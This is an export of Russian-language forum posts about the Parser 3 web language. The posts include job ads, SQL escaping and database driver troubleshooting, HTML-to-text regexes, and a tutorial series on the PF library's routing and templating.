Чай, кофе, какао, молоко, печеньки и пр. предоставляются.\
\
писать на tmm =^,^= madgroup.ru\
или в icq:776166"
"62125","...разобрался"
"62126","почему-то код:\
[code]^connect[$SQL.connect-string]{\
^taint[sql][123]\
}[/code]\
\
вываливается с исключением под win32:\
[quote]Unhandled Exception\
\
untaint in SQL language failed - no connection specified[/quote]\
\
а под линуксом пишет [quote]Aborted[/quote] и вываливается даже ничего в лог не записав.\
\
это баг или фитча?"
"62127","За 500.000 я сам Парсер выучу недели за две. И соглашусь на 100.000.\
^_^\
\
Так что, не затягивайте."
"62128","дело в том, что для разных sql серверов надо делать разные taint преобразования (см. доку). поэтому taint[sql] имеет смысл только внутри connect.\
\
однако что происходить будет дальше зависит от места, куда будет выводиться строка. в простом случае можно было бы ругаться в любом случае, если строка выводится не sql серверу (т.е. вне запроса). но ПАФ-у простой случай показался не очень эффектным, поэтому он сделал так, чтобы покрашеные в такой язык буквы можно было сложить в строковую переменную и записать в файл.\
\
зачем? а чтобы сгенерить корректный sql скрипт, который потом можно было-бы скормить sql серверу и при этом не заморачиваться с ручными эскейп преобразованиями.\
\
однако судя по вашему сообщению подобное поведение ломается, когда данные выводятся в броузер."
"62129","спасибо за разъяснение\
\
получается, что если нужно вывести экранированную строку браузеру, то нужно присвоить ее переменной, сохранить в файл и снова загрузить ;)\
\
остался невыясненный вопрос:\
что делать с выавданием parserа\
[quote]Aborted[/quote]\
?"
"62132","Другим с вашими ценами на недвижимость ловить нечего."
"62134","Купите квартиру не за год, а за пять. Неужели так сложно потерпеть?\
\
За такую зарплату можете и печеньками бесплатными корпоративными попитаться."
"62135","... можно из процедуры вернуть что-либо только через параметры? result/return отсутствует как класс? Сомневаюсь..."
"62137","http://download.oracle.com/docs/cd/B28359_01/appdev.111/b28370/collections.htm#BEIDDADJ"
"62140","Или я туплю? Просто есть в базе новости в html, а отправлять их надо и в html, и в простом тексте.\
\
Потому как, если отправлять просто html, то при пересылке (пока смотрю тока бат), теги херятся и получается хороший такой монотонный набор букв.\
\
Форум искал."
"62141","Переведите дух.\
\
Спокойствие.\
\
Давайте уточним задачу. \
\
Я правильно понимаю, что вы пытаетесь отправить html-письмо, которое не читается в The Bat? И ищете простой способ конвертировать имеющийся html в plain text перед отправкой письмом?"
"62142","А., все ж тривиально; делаем из ссылок текст, параграфы, переводы строк, линейки и прочее заменяем.\
\
[code]$html[^html.match[<(b|h)r[^^>]*>][ig]{^#0A}]\
$html[^html.match[<(h|p|div)[1-6]?[^^>]*>(.*?)</(h|p|div)[1-6]?>][ig]{^#0A^#0A${match.2}^#0A^#0A}]\
$html[^html.match[</?[^^>]+>][g]{}][/code] и другие.\
\
Потом чистим и реплейсим энтити на соответствующие символы.\
\
И счастье."
"62143","можно - проблема то не в этом. \
попробуйте это значение взять из парсера."
"62145","Я пытаюсь послать письмо и в html и в тексте. Скажем, так:\
\
[code]$text[<h1>Текст</h1><p>C разметкой.</p>]\
^mail:send[\
 $.to[...]\
 $.from[...]\
 $.subject[...]\
 $.html{^untaint{$text}}\
 $.text[[b]?[/b]]\
][/code]\
\
И вот вместо вопросительного знака надо вставить либо то, что предложил [url=\"http://www.parser.ru/forum/?id=62142\"]AEM[/url], либо есть другой способ."
"62147","т.к у нас всё равно исходные данные -- xml (или xhtml). делаем пару шаблонов, один из которых формирует html письма, а другой -- text."
"62152","это я к тому, что подавляющее большинство современных почтовых клиентов нормально показывают html. есть особенности отображения (тот-же TheBat имеет свой парсер html-я из-за чего показывает далеко не все ньюансы), но чтобы слеплать слова в кучу - о таком я не слышал."
"62153","Так что метод хреновый... Тем более «или» в матче."
"62154","Уважаемый, А., это по-вашему что вырезает?\
\
[code]$html[^html.match[</?[^^>]+>][g]{}][/code]\
\
Чем вам [i]или[/i] не нравится? Или у вас есть теги div6, p1 \
\
:-)"
"62158","Понял когда у меня двоятся сообщения :)\
При заполнении только заголовка и нажатия энтера вместо кнопки \"сохранить\"\
Vista 32, browser - Maxthon2"
"62159","думаю работает одинаковый код, и достаточно найти это место в коде, чтобы всё стало ясно.\
\
P.S. добавил в todo, если вдруг больше нечем будет заняться -- посмотрю."
"62160","у меня нет таких функций которые возвращали бы коллекцию строк или 1 строку таблицы и использовались в клиентском приложении, за ненадобностью. Для работы с клиентом в основном используются процедуры как более универсальное средство. Кроме того серверная часть - рабочая и уже написана. \
Если это возможно то хотелось бы глянуть на код парсера который забирает из функции test_1 таблицу.\
\
create or replace package test_col is\
  \
CURSOR h_cur IS\
      SELECT * FROM employees;\
TYPE local_h_tab IS TABLE OF h_cur%ROWTYPE INDEX BY BINARY_INTEGER;\
\
function test_1 return local_h_tab;\
\
end test_col;  \
\
------------------------------------------------------------\
create or replace package body test_col is\
\
function test_1 return local_h_tab is\
\
local_h local_h_tab;\
\
  begin\
     for h_rec in h_cur\
     loop\
        local_h (h_rec.tab_num) := h_rec;\
        dbms_output.put_line(local_h (h_rec.tab_num).tab_num ||local_h (h_rec.tab_num).first_name );\
     end loop;\
     \
   return local_h;\
\
end test_1;\
\
end test_col;"
"62161","а может сам и подебажишь? ну нет у меня ни висты ни макстона для опытов.\
\
сделать view source формочки, сохранить локально, положить рядом скачанный bbcode.js и разобраться что не так..."
"62164","[code]$result[^result.match[<(style|script).?[^^>]*>.*?</(style|script).?>][ig]{}][/code]"
"62166","[code]$str[начало <script>бла-бла</script> <style>бла-бла</style> <script>бла-бла</script> оставить  <script>бла-бла</script> <style>бла-бла</style> конец][/code]\
\
[code]$str[^str.match[<script>([^^<]+)</script>][gi]{}]\
$str[^str.match[<style>([^^<]+)</style>][gi]{}][/code]"
"62168","Это на любителя.\
\
Когда-то и так приходилось извращаться (сплошные пробелы :-))\
\
[code]function close_empty_elements($s){\
        /**\
         * объявляем пустые элементы\
         */\
        $need_to_closed = 'area|base|basefont|br|col|frame|hr|img|input|isindex|keygen|link|meta|param|spacer|wbr';\
        /**\
         * удяляем закрывающие теги\
         */\
        $string = preg_replace(\"@(<\\s*\\\\/\\s*($need_to_closed)\\s*>)@i\", '', $s);\
        /**\
         * возвращаем исправленную строку\
         */\
        return preg_replace(\"@<\\\\s*($need_to_closed)([^>]*[^(\\\\s*\\\\/?\\\\s*)?])?(\\\\s*\\\\/?\\\\s*)?>@i\", '<$1$2 />', $s);\
}[/code]"
"62169","Опечатался ($s, а не $string):-)"
"62172","Для подготовки к выполению тестового задания на вакансию программиста.\
\
А если серьёзно, то возьмём на работу стажеров для обучения Парсеру и выполнения несложных работ с последующим переводом в штат, многократным повышением заработной платы и выполнением сложных работ.\
\
[url=\"http://www.parser.ru/forum/?id=62123\"]Вакансия программиста[/url] всё ещё открыта, т.к. кое кто (не буду показывать пальцем), тестовое задание мужественно провалил, а теперь отмазывается от чая с печеньками.\
\
З.Ы. Прямо страшно писать вам сюда, опять будете ржать всем форумом над вполне серьёзными вещами. Нам ДЕЙСТВИТЕЛЬНО нужны работники."
"62177","пятая ссылка по строке \"oracle select function\":\
http://www.ln.com.ua/~openxs/projects/oracle/ora011.html\
\
кажется, то, что нужно."
"62178","Я там не написал, но такое тоже имело место быть."
"62196","Что сие может значить? \
\
[sql connect error: Client does not support authentication protocol requested by server; consider upgrading MySQL client] \
\
(Parser 2 MySql, Linux version 2.6.19-1.2895.fc6, Хостер Jino)"
"62199","решил перейти с Мускуля на эту СУБД. Часа 2 возился с установкой и переносом базы - сделал. Теперь пытаюсь подключиться Парсером к БД - получаю ошибки.\
\
[b]D:\\Creage\\Design\\marketim\\cgi-bin/lib/parser3pgsql.dll\
driver failed to initialize client library 'D:\\Creage\\Design\\marketim\\cgi-bin/lib/libpq74.dll', function PQescapeStringConn was not found\
[/b]\
\
скопировал libpq.dll из дистрибудтива пакета PostgreSQL - получаю\
\
[b]D:\\Creage\\Design\\marketim\\cgi-bin/lib/parser3pgsql.dll\
driver failed to initialize client library 'D:\\Creage\\Design\\marketim\\cgi-bin/lib/libpq82.dll', can not open the dynamic link module\
[/b]\
\
пробовал скопировать libpq.dll из программ, работающих с PostgreSQL - получаю\
\
[b]D:\\Creage\\Design\\marketim\\cgi-bin/lib/parser3pgsql.dll\
driver failed to initialize client library 'D:\\Creage\\Design\\marketim\\cgi-bin/lib/libpq.dll', function PQexecParams was not found\
[/b]\
\
Как быть? У кого есть рабочая библа клиента под 8.2.4 для Win32?"
"62200","порыскав по сусекам своих архивов нашел рабочий клиент - соединился нормально. Но теперь дургая проблема - PostgreSQL чувствителен к регистру в названиях полей и таблиц. Т.е. он не чувствителен, а просто лоуерит все названия в БД, и к примеру, если я запрошу\
[code]\
SELECT dtAcсess FROM my_table\
[/code]\
я получу ошибку что поля dtaccess в таблице my_table нет. Порывшись в доке, нашел, что если заключать названия полей в кавычки, то PostgreSQL прочитает их как надо. Т.е. запрос такого вида сработает без проблем\
[code]\
SELECT \"dtAcсess\" FROM my_table\
[/code]\
Но у меня сайт уже написан, и проставлять кавычки в тысячах строк кода - работы на пару дней минимум. Нельзя ли это как нибудь упростить? Регекспы, я думаю, здесь неуместны.\
\
Иначе просто пропадает смысл (сложно очень) плавного переезда, даже с использованием Мишиных библиотек для БД.\
\
Или сжав зубы, проставить кавычки, и взять в привычку впредь писать названия полей в кавычках? Кто работает с Постгре - подскажите?"
"62206","[quote]Quoting an identifier also makes it case-sensitive, whereas unquoted names are always folded to lower case. For example, the identifiers FOO, foo, and \"foo\" are considered the same by PostgreSQL, but \"Foo\" and \"FOO\" are different from these three and each other. (The folding of unquoted names to lower case in PostgreSQL is incompatible with the SQL standard, which says that unquoted names should be folded to upper case. Thus, foo should be equivalent to \"FOO\" not \"foo\" according to the standard. If you want to write portable applications you are advised to always quote a particular name or never quote it.) \
[/quote]\
\
Кстати, это довольно распостранённая ошибка )"
"62207","... LowerCaseColumnNames=0 в строке соединения не помогает? в код не смотрел, не знаю есть ли это у драйвера pgsql, читал в драйвере про oracle:\
\
[quot]\
Если имена колонок в запросе select не взять в кавычки, Oracle преобразует их к ВЕРХНЕМУ регистру. По-умолчанию, Parser преобразует их к нижнему регистру. Указав параметр LowerCaseColumnNames=0 можно отключить преобразование в нижний регистр.\
[/quot]\
\
или может у pgsql какая настройка есть?\
\
P.S. не зря я до сих пор не использую регистрозависимые имена в SQL, после того как разок обжегся на этом с oracle."
"62213","В студии TeleType (http://www.teletype.ru/) открылась вакансия верстальщика сайтов.\
\
Требования:\
Хорошее знание HTML/xHTML‚ JavaScript‚ dHTML‚ DOM‚ CSS. Базовые знания XML‚ XSL‚ SQL. Приветствуется знание Parser 3.\
\
Обязанности:\
Вёрстка веб страниц с помощью XSL по готовому дизайну или по аналогии с уже существующими на проекте; разработка скриптов различной сложности на JavaScript; полная сборка страниц без участия программиста.\
\
Условия:\
Новый сотрудник проходит обучение XSL и собственной системе веб разработки‚ которая позволяет полностью разделять вёрстку и программирование‚ управляет всем от расположения файлов до версий шаблонов.\
Полная занятость. Рабочее время: 10 - 18‚ 11 - 19 или 12 - 20. Свободная форма одежды. Чай‚ кофе на рабочем месте. Офис в центре Москвы.\
\
Необходимо прислать рассказ о себе и своих работах Чеканову Михаилу (cmv[^]teletype.ru)."
"62219","Выложил для всех желающих библиотеку классов на Парсере.\
http://oleg.volchkov.net/pf/\
\
Примеры и документация будут появляться постепенно."
"62220","Привет всем!\
\
Что-то не могу определиться с тем [b]как[/b] делать статистику.\
\
Мне нужно вести статистику просмотров/посетителей страниц с товаром. Т.е. вести её на каждый товар.\
\
Вырисовывается два способа подсчёта просмотров.\
\
1. Добавлять запись в таблицу при каждом просмотре.\
2. Иметь одну запись на каждый товар с полем total_views и при просмотре получать эту запись, total_views + 1 и апдейтить запись. Но не понятно как оно будет себя вести, когда много пользователей будут просмотривать страничку.\
\
На счёт посетителей.\
При просмотре, пользователю пишется кука\
[code]\
$cookie:host[ \
   $.value[^math:uid64[]]  \
   $.expires[сегодня 23:59]\
]   \
[/code]\
и добавлятется в таблицу, а при просмотре смотреть есть ли такое значение или нету.\
\
Вот.\
\
Cкажите пожалуйста, я копаю в правильном направлении? :-)"
"62222","http://www.issociate.de/board/post/10327/Case_insensitivity_in_column_and_table_names.html\
\
Сделать легко-транспортируемый код не получится. Хотя, если создавать таблицы чисто в лоу-кейсе - будет работать. Но, используя стандарт типа dtAccess в коде сайте, а не dt_access - хотелось выдержать этот стандарт и в коде SQL. Не судьба видать.\
\
В аське друг убеждал меня в преимуществе PostgreSQL. Скажите - стоит ли убить время на переход с MySQL на PostgreSQL? Насколько это оправдано?"
"62223","эта опция делалась только для oracle."
"62224","Использовать в запросах алиасы:\
[code]\
  select dt_access as dtAccess ...\
[/code]\
\
Главное не лениться... :)"
"62225","...сколько в структуре самой БД. Поля в БД у меня названы именно таким же стилем - dtAccess. Можно, конечно, переделать БД на dt_access, переписать запросы на dt_access AS dtAccess... Но это же работы...ууу!"
"62226","Принцип простой: имя поля ставим как в бд, а алиас так как нам удобно в программе."
"62227","я делал таблицу с полями itemID, dtCounted, totalViews, uniqueViews и считал просмотры товаров по дням. В поле itemID = 0 хранил статистику посещений всего сайта. Каждому посететелю - куку. Не знаю на счет большого кол-ва посещений - но около 2-3 тысяч считало почти 1 в 1 с более мощными и точными анализаторами, установленными на хостинге.\
\
И еще, иногда у юзеров не ставится кука - отключены. В отдельный лог писалась строка с подробной инфой о юзере без куки - обычно роботы или кто нибудь с мобилки. Определение доступности куки производилось яваскриптом - при вызове страницы ставим куку, а в код страницы вставлялся скриптик, вызывающий другую страницу - она ничегон е возвращала - просто определяла, сработала ли выставленная исходником кука - и считала юзера."
"62228","Применение я видел ;)\
\
Один раз глаза уже пришлось собирать с пола наощупь: выпали, глядя на regex в вики."
"62232","Бегло посмотрел, многое понравилось. Жаль, что вы не используете \"мишин\" синтаксис объявления переменных.\
\
Подробно правда прочитаю, уже только в понедельник."
"62233","не могу понять, что нужно сделать...\
\
parser исправно работает, пока его не попросишь связаться с mysql.\
в этом случае получаем в браузере \"Internal Server Error\", в логе апача \"Premature end of script headers: parser3.cgi\"\
\
Parser компилировал на своем сервере (Parser/3.2.1sp2 (compiled on i686-pc-linux-gnu)). Скомпилированный auto.p.dist содержит:\
[code]#change your client libraries paths to those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	-configure could not guess-\
pgsql	$sqldriversdir/libparser3pgsql.so	-configure could not guess-\
oracle	$sqldriversdir/libparser3oracle.so	-configure could not guess-\
}]\
][/code]\
\
вместо \
[code]mysql	$sqldriversdir/libparser3mysql.so	-configure could not guess-[/code]\
\
пробовал:\
и [code]mysql	$sqldriversdir/libparser3mysql.so libmysqlclient.so[/code]\
\
и [code]mysql	$sqldriversdir/libparser3mysql.so	/usr/lib/mysql/libmysqlclient.so[/code]\
\
результат такой же. то же самое с файлом для RedHat из \"скачать\"\
\
файл вообще вроде на сервере имеется:\
# locate libmysqlclient.so\
/usr/lib/mysql/libmysqlclient.so.14\
/usr/lib/mysql/libmysqlclient.so\
/usr/lib/mysql/libmysqlclient.so.10\
/usr/lib/mysql/libmysqlclient.so.10.0.0\
/usr/lib/mysql/libmysqlclient.so.14.0.0\
\
Fedora Core 4, Mysql 4.2.1"
"62234","Дабы не изобретать велосипед, я взяла готовый: [url=\"http://www.spearance.ru/parser3/scroller/text/\"]http://www.spearance.ru/parser3/scroller/text/[/url]\
\
[code]\
^dbc{		\
	$scroller[^scroller::create[\
				$.path_param[p]\
				$.request[]\
				$.table_count(^int:sql{select count(*) from img_portfolio})\
				$.number_per_section(3)\
				$.section_per_page(10)\
				$.type[page]\
				$.r_selector[]\
				$.l_selector[]\
				$.divider[ | ]\
				$.r_divider[]\
				$.l_divider[]\
				]\
		]\
	$img_portfolio[^table::sql{SELECT\
					text,\
					parent_id,\
					img_id\
				FROM\
					img_portfolio\
			}]\
	$selected_table[^table::create[$img_portfolio;$.limit($scroller.limit) $.offset($scroller.offset)]]\
		^if($selected_table){\
			^selected_table.menu{$selected_table.text}[<br />]\
			^scroller.optimize[<div class=\"scroller\">^scroller.draw[]</div>]\
		}\
}\
[/code]\
\
SQL-запрос выполянется верно, проверяла.\
\
Почему-то не происходит копирование существующей таблицы $img_portfolio.\
\
Не могу разобраться почему :("
"62235","Скорее всего дело в значении номера сраницы, которое должен взять из формы скроллер.\
\
Допишите после создания объекта:\
[code]\
page - $form:page\
offset - $scroller.offset\
limit - $scroller.limit\
[/code]\
\
Думаю, это прояснит ситуацию."
"62236","Есть несколько идеологических причин по которым я не люблю варианты \"венгерской нотации\", но сейчас начинать этот спор не имеет смысла. :)\
\
Поверьте, PF позволяет програмисту использовать в своих программах любой стиль именования переменных в своих модулях, при этом обеспечивая внутреннюю проверку типов с помощью \"утверждений\" (asserts)."
"62237","А зачем вообще копировать? Просто в запросе укажите лимит и оффсет."
"62238","Эта статья содержит описание моего подхода к использованию PF'а. Надо заметить, что библиотека достаточно гибкая и дает программисту большую свободу в выборе методики работы.\
\
Для начала необходимо создать на сервере программное окружение для работы. Создадим следующую иерархию папок в \"домашней\" папке на веб-сервере:\
[code]\
|- classess\
  |- pf\
|- app\
  |- controllers\
  |- model\
  |- views\
  |- helpers\
|- cgi-bin\
|- public_html\
  |- css\
  |- images\
[/code]\
\
В папке cgi-bin лежит Парсер с конфигурационным файлом, а в папку /classess/pf положим код библиотеки, корневой папкой вебпространства будет /public_html. В /cgi-bin/auto.p пропишем следующие строки:\
[code]\
$CLASS_PATH[^table::create{path\
/../classess/\
/../app/model/\
/../app/controllers/\
/../app/helpers/}]\
\
$SQL.connect-string[mysql://test:test123@[/tmp/mysql.sock]/test?ClientCharset=Windows-1251]\
[/code]\
\
В конфигурацию веб-сервера (предположим, что речь идет про Апач) добавим:\
[code]\
RewriteEngine On\
RewriteBase /\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteRule ^(.*)$ _ind.html?_action=$1 [QSA]\
[/code]\
\
Теперь напишем основу для нашего приложения - менеджер (в терминах MVC - контролер). Создадим файл /app/controllers/appManager.p следующего содержания:\
[code]\
@CLASS\
appManager\
\
@USE\
pf/web/pfSiteManager.p\
\
@create[aOptions]\
  ^BASE:create[$aOptions]\
\
@onINDEX[aActionArgs]\
  Наше первое веб-приложение на PF!\
[/code]\
\
В файле /public_html/_ind.html напишем следующее:\
[code]\
@USE\
appManager.p\
\
@main[]\
  $app[^siteManager::create[\
         $.templateFolder[/../app/views/]\
       ]]\
  $result[^app.run[]]\
[/code]\
\
Теперь при обращении к нашему сайту через веб-браузер мы увидим \"Наше первое веб-приложение на PF!\"."
"62239","Наше простейшее приложение сейчас не умеет ничего, кроме того, чтобы выводить одно и тоже сообщение на любой запрос. Ясно, что такое поведение нам не сильно интересно. Если мы хотим обработать URL вида /about/, то нам  достаточно добавить в наш менеджер (/controllers/appManager.p) следующий метод:\
[code]\
@onAbout[aActionArgs]\
  Информация об авторе!\
[/code]\
\
Все! Теперь мы можем ввести в браузере http://localhost/about и получим \"Информацию об авторе!\". Не сложнее написать обработчики и для более сложных, вложенных URL'ов.\
[code]\
@onAboutContacts[aActionArgs]\
# Обработчик для /about/contacts/\
  ...\
\
@onFirstSecondThird[aActionArgs]\
# Обработчик для /first/second/third\
  ...\
[/code]\
\
В терминах PF URL с путем называется \"экшн\", а методы onXyz - обработчиками. PF не чувствителен к регистру символов в экшне (URL'е), а также игнорирует ведущие и конечные слеши.\
\
Вы наверное уже заметили, что у обработчика есть единственный параметр - aActionArgs (вы можете назвать его как угодно!). В случае с pfSiteModule/pfSiteManager в эту переменную попадает хеш с полями http-запроса ($form:fields и $form:tables). Фактически внутри PF'а не возникает необходимости прямого обращения к классу form, что позволяет писать для модулей консольные unit-тесты, да и просто уменьшает связанность модуля с системой. \
\
С простыми случаями понятно - написали обработчик и все. Предположим, что в нашем веб приложении должны присутствовать форум, блог, магазин и т.п. Понятно, что делать один большой модуль с кучей функций не эффективно. В этом случае PF приходит к нам на помощь.\
\
Создадим модуль для блога (controllers/blogModule.p):\
[code]\
@CLASS\
blogModule\
\
@USE\
pf/web/pfSiteModule.p\
\
@BASE\
pfSiteModule\
\
@create[aOptions]\
  ^BASE:create[$aOptions]\
\
@onINDEX[aActionArgs]\
  Это мой блог!\
[/code]\
\
А в конструктор appManager'а добавим строки для регистрациии нашего нового модуля:\
[code]\
@create[$aOptions]\
  ^BASE:create[$aOptions]\
  ^addModule[blog;\
      $.class[blogModule]\
      $.file[blogModule.p]\
  ]\
[/code]\
\
Теперь по введя в браузер http://localhost/blog/ получим \"Это мой блог!\". При этом PF сам подключил и инициализировал необходимый класс. Вложенность модулей не ограничена, что позволяет строить из них достаточно сложные иерархии. Фактически это достаточно удобный способ для создания систем с плагинами.\
\
Теперь немного подробнее об алгоритме поиска обработчиков для \"экшнов\" в pfSiteModule/pfSiteManager. Во всех модулях есть метод @dispatch[aAction;aActionArgs], который обеспечивает базоввую маршрутизацию. Получив экшн \"about/contacts\" метод разбирает его на части (по слешам), если удается найти модуль с названием \"about\" и передать управление ему, а если модуля нет, то ищем в модуле метод с именем onAboutContacts. Если метод найден, то передаем управление ему, а если и это не удалось, то вызывается метод onINDEX. Если определен метод onNOTFOUND, то в случае неправильного адреса экшна (для которого не нашли обработчик) вызывается именно он. В этом случае метод onINDEX будет вызываться только для \"корневого\" экшна (\"/\").\
\
Но это еще не все. Нам необходимо не только уметь обработать экшн, но ставить на него ссылки нв страницах. Для этого в модулях имеется метод @linkTo[aAction;aOptions;aAnchor], который умеет формировать корректный URL для экшна. Самое интересное, что этот метод умеет формировать корректные ссылки даже, если модуль вложен в другой. Т.е. в нашем случае мы можем написать в классе blogModule следующий вызов ^linkTo[show/2007/08;$.sort_by[name];top] и получим в результате \"/blog/show/2007/08?sort_by=name#top\". Кроме того можно использовать метод @redirectTo[aAction;aOptions;aAnchor], который вызовет редирект на необходимый экшн. Единственное ограничение: параметр aAction методов linkTo и redirectTo всегда считается относительно текущего модуля. Если вам понадобится ссылка на родительский или любой другой модуль не включенный в текущий, то это прийдется организовывать через дополнительные классы (например, с использованием \"медиатора\").\
\
[url=http://oleg.volchkov.net/pf]Библиотека PF[/url]"
"62240","Чтобы писать переносимо, нужно обладать знаниями об отличиях в синтаксе и \"подводных камнях\" )\
\
Мне в своё время понадобились хранимые процедуры с триггерами, обеспечение целостности и полнотекстовый поиск с функцией \"подкрутить\""
"62241","В предыдущей заметке мы поговорили о том, как происходит выбор для экшнов в PF. Простая обработка не вызывает сложностей, но на практике возникает необходимость промежуточного преобразования url перед выбором обработчиков. Самый известный инструмент для этого Апачевский модуль mod_rewrite. Но работа с ним вызывает сложности у многих разработчиков. PF предоставляет внутренний rewrite-механизм, который сильно облегчает жизнь программистам. \
\
Модули в PFе имеют метод @rewriteAction[aAction;aActionArgs], который производит преобразование экшнов перед их маршрутизацией. Вы можете перекрыть этот метод в любом месте и сделать необходимое преобразование, причем вы можете анализировать не тольк url, но и параметры запроса (как GET так и POST). При этом в метод преобразования экшн попадает уже усеченным, без начальной части, относящейся к родительским модулям. Метод rewriteAction вызывается автоматически из метода dispatch. Правда перекрывать этот метод нужно очень редко, поскольку его штатная реализация умеет делать достаточно сложные преобразования.\
\
Пример из жизни. У меня в интерфейсе билинговой системы есть модуль, выводящий информацию об интернет-трафике за определенный период. URLы могут быть такими следующим образом:\
[code]\
/traffic/192.168.0.1/\
/traffic/192.168.0.1/2007/\
/traffic/192.168.0.1/2007/8/\
/traffic/192.168.0.1/2007/8/22/\
[/code]\
\
При всем многообразии вариантов вывод информации легко делается одним методом, да и штатный метод написания обработчиков нам не подойдет - в URLе постоянная часть только \"/traffic/\". В этом случае нам помогут rewrite patterns:\
[code]\
@CLASS\
internetModule\
\
@USE\
pf/web/pfSiteModule.p\
\
@BASE\
pfSiteModule\
\
@create[aOptions][lIPPattern]\
  ^BASE:create[$aOptions]\
\
  $lIPPattern[\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}]\
  ^addRewritePattern[traffic/:ip<$lIPPattern>;traffic]\
  ^addRewritePattern[traffic/:ip<$lIPPattern>/:year<\\d{4}>;traffic]\
  ^addRewritePattern[traffic/:ip<$lIPPattern>/:year<\\d{4}>/:month<\\d{1,2}>;traffic]\
  ^addRewritePattern[traffic/:ip<$lIPPattern>/:year<\\d{4}>/:month<\\d{1,2}>/:day<\\d{1,2}>;traffic]\
\
...\
\
@onINDEX[aActionArgs]\
  По-умолчанию...\
\
@onTraffic[aActionArgs]\
  В переменную $aActionArgs попадет такой хэш:\
  $aActionArgs[\
    $.ip[192.168.0.1]\
    $.year[2007]\
    $.month[8]\
    $.day[22]\
  ]\
\
  Это в случае с самым длинным URLом. В остальных случаях полей бедет поменьше.\
[/code]\
\
Есть еще и побочный эффект: если наши экшны не совпадет ни с одним из шаблонов, то onTraffic не будет вызван, а управление перейдет к onINDEX.\
\
Язык шаблонов для параметра aPattern метода @addRewritePattern[aPattern;aNewAction;aOptions] выглядит следуюшим образом:\
[code]\
  path1/(path2|path3)/:arg1/:arg2<regex>/:{arg3}-arg4\
         :arg1, :arg2 - имя переменной в выходном хеше\
         <regex> - регулярное выражение, которое уточняет формат в котором должна \
                   прийти переменная.\
         (path|path3) - выражение, которое интерпретируется как регулярное выражение, \
                        при этом левая скобка будет заменена на \"(?:\". \
                        Не рекомендуется использовать! \
                        Возможно будет исключено в следующих версиях, поскольку затрудняет\
                        обратное преобразование урлов.\
         :{arg4} - аналогично штатному синтаксису Парсера, отделяет имя переменной от\
                   ненужных символов.\
[/code]\
\
Возможны и статические преобразования. Если при добавлении шаблона указать опцию $aOptions.isStatic(1), то шаблон будет считаться регулярным выражением, которое должно совпать с экшном. При этом из экшна не будут \"выкусываться\" никакие переменные, редирект пройдет на $aNewAction, а вкачестве аргументов для обработчика будут использованы $aOptions.args.\
[code]\
# Мы изменили имя функции добавления сообщения \
# в блог с \"add\" на \"new\", но хотим, чтобы у киентов работали\
# старые закладки.\
  ^addRewritePattern[add;new;$.isStatic(1)]\
[/code]\
\
[url=http://oleg.volchkov.net/pf]Библиотека PF[/url]"
"62242","Как правило архитектура MVC (Model-View-Controller, Модель-Представление-Контролер) в веб разработке используется следующим образом: контролер получает запрос от веб сервера, ищет подходящий обработчик и передает ему управление. Обработчик получает данные от модели и с помошью \"представления\" формирует ответ, который возвращает контролеру. Контроллер возвращает ответ серверу. Такая схема несколько отличается от [url=http://ru.wikipedia.org/wiki/MVC]классической определения[/url], но сути не меняет.\
\
В контексте библиотеки PF контролером являются модули (pfModule/pfSiteModule/pfSiteManager и т.д.), для обеспечения функциональности представления используется шаблонный движок Templet (читается как Темплет :), а реализация модели пока остается за программистом (PF предоставляет только вспомогательные классы для работы с sql и пр.).\
\
Опыт показывает, что оптимально использовать следующую логику при программировании обработчиков в контролере: из модели достаем данные, соответствующие запросу (переменные), которые передаются шаблонному движку, а он, в свою очередь, занимается формированием html'я, xml'я или чего-либо еще. Далее контролер может делать с результатами работы шаблонизатора что угодно, например, выполнить дополнительное xslt-преобразование или просто передать его серверу. Здесь важно, что программист (при использовании Templet'а) продолжает работать на основном языке и не тратит силы на отладку \"сторонних\" шаблонов - пусть этим знимаются другие специалисты :). \
\
Теперь перейдем к примеру использования шаблонов. Предположим, что в нашем модуле для работы с блогом необходимо вывести три последние записи. Изменяем обработчик в blogModule:\
[code]\
@CLASS\
blogModule\
\
@USE\
blog/blog.p\
pf/web/pfSiteModule.p\
\
@BASE\
pfSiteModule\
\
@create[aOptions]\
  ^BASE:create[$aOptions]\
# Инициализируем класс с моделью блога\
  $blogModel[^blog::create[$.sql[$CSQL]]\
# Задаем переменную с именем блога\
  ^assignVar[title;Тестовый блог]\
# Задаем функцию для формирования URL'а.\
  ^assignVar[linkTo;$linkTo]\
...\
\
@onINDEX[aActionArgs][$lArticles]\
# Получаем записи о 3 последних статьях\
# Считаем, что метод возвращает нам таблицу date/title/body\
  $lArticles[^blogModel.getArticles[3]] \
# Добавляем переменную в программное окружеин шаблонизатора\
  ^assignVar[articles;$lArticles]\
# Зовем шаблонизатор\
  ^display[index.pt]\
[/code] \
\
В папке /app/views/ создаем папку blog, а в ней файл index.pt с самим шаблоном:\
[code]\
  <h1>$title</h1>\
  ^if($articles){\
    ^articles.menu{\
      <h2>$articles.title</h2>\
      <p class=\"date\">$articles.title</p>\
      <p class=\"body\">$articles.body</p>\
    }\
  }{\
     <p>В блоге нет записей!</p>\
   }\
 \
  <p class=\"actions\"><a href=\"^linkTo[new]\"></a></p>\
[/code]\
\
Немного пояснений к коду. Методы assignVar и display являются \"прокладкой\" для методов assign и display класса pfTemplet, просто так удобнее програмировать, тем более, что метод еще и понимает вложенность модулей т.е. он будет искать шаблон index.pt не в корнейво папке для шаблонов (в нашем случае /app/views/), а в /app/views/blog/. Сам шаблон компилируется в отдельный объект класса pfTempletPattern, данные изолируются от глобального пространства имен, а сами переменые в шаблоне доступны как свойства только для чтения, что предотвращает их случайную перезапись. \
\
В коде шаблонов можно определять свои операторы:\
[code]\
@main[]\
  ...\
  ^print_footer[]\
\
@print_footer[]\
 ...\
[/code]\
\
Свойствой $CSQL - это ссылка на текущий объект класса pfSQL (создается автоматически контролером на основании переменной $SQL.connect-string или может быть инициализирован программистом самостоятельно). Контролер умеет не только создавать необходимые служебные классы (CSQL, AUTH, CACHE, TEMPLET), но и автоматически передает ссылки на них вложенным модулям. Таким образом облегчается работа по автоматической сборке модулей в единую систему.\
\
В результате мы разделили \"логику и представление\", при этом получив вполне ясный код без \"излишеств\". Стоит добавить, что Templet умеет кешировать шаблоны, используя класс pfCache. Шаблоны можно хранить не только на диске, но и в любом другом доступном месте, например в БД.\
\
[url=http://oleg.volchkov.net/pf]Библиотека PF[/url]"
